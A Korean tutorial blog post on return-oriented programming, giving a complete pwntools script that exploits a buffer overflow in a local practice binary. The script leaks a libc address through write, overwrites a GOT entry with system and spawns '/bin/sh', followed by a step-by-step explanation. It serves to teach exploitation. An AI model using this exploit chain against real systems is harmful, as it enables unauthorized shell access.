Self-Improvement

ROP 예제 및 Python pwntools 풀이 사용법 및 쉽게 설명 본문

리버싱 기초

ROP 예제 및 Python pwntools 풀이 사용법 및 쉽게 설명

JoGeun 2020. 5. 27. 10:30

소스코드

read함수에서 선언한 buf 크기보다 큰 입력값을 받고 있음으로 오버플로우가 가능하다.

 

적용된 보호기법

NX Bit(스택내에 실행권한 X), ASLR(주소가 동적 변화), Partial RelRO(Got Overwrite O)

 

Python  Pwntools 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
 
context.log_level='debug'
context(arch='x86', os='linux', endian='little')
 
e=ELF('./rop')
p=process('./rop')
 
binsh="/bin/sh\x00"
 
print "==================================="
log.info("found address of .bss section : %s" %hex(e.get_section_by_name(".bss").header.sh_addr))
bss=e.get_section_by_name(".bss").header.sh_addr
 
log.info("found address of read plt : %s" %hex(e.plt["read"]))
read_plt=e.plt["read"]
 
log.info("found address of read got : %s" %hex(e.got["read"]))
read_got=e.got["read"]
 
log.info("found address of write plt : %s" %hex(e.plt["write"]))
write_plt=e.plt["write"]
 
log.info("found address of write got : %s" %hex(e.got["write"]))
write_got=e.got["write"]
print "==================================="
 
offset=0x9ad60
p3r=0x80484c9
 
payload='A'*104
 
payload+=p32(write_plt)
payload+=p32(p3r)
payload+=p32(1)
payload+=p32(read_got)
payload+=p32(4)
 
payload+=p32(read_plt)
payload+=p32(p3r)
payload+=p32(0)
payload+=p32(bss)
payload+=p32(8)
 
payload+=p32(read_plt)
payload+=p32(p3r)
payload+=p32(0)
payload+=p32(write_got)
payload+=p32(4)
 
payload+=p32(write_plt)
payload+="AAAA"
payload+=p32(bss)
 
p.send(payload)
read_addr=u32(p.recv()[-4:])
log.info('read_addr = 0x%x' %read_addr)
 
log.info('system_offset = 0x%x' %offset)
system=read_addr-offset
log.info('system=0x%x' %system)
print "==================================="
 
p.send(binsh)
p.send(p32(system))
 
p.interactive()
cs

코드를 봐도 알겠지만 ROP를 하기위해선 아래의 것들이 필요하다.

write_plt, write_got, read_plt, read_got, p3r(pop pop pop ret), bss, offset(read-system), system

 

1. write함수를 호출하여 read_got 주소를 얻어온다.

2. read함수를 호출하여 bss에 입력값을 할당한다.(입력값 = p.send(binsh))

3. read함수를 호출하여 write_got에 입력값을 할당한다.(입력값 = p.send(p32(system)) = Got Overwrite

4. write함수(Got Overwrite된 System)를 호출하여 bss 영역("/bin/sh")을 인자로 준다.

 

p.send(payload)하고 받은 데이터의 뒷 4바이트는 1번에서 수행한 read_got 주소를 얻어오게 된다.

얻어온 read_got 주소와 offset 값을 빼면 system 주소 값을 얻을 수 있다.

 

실행 결과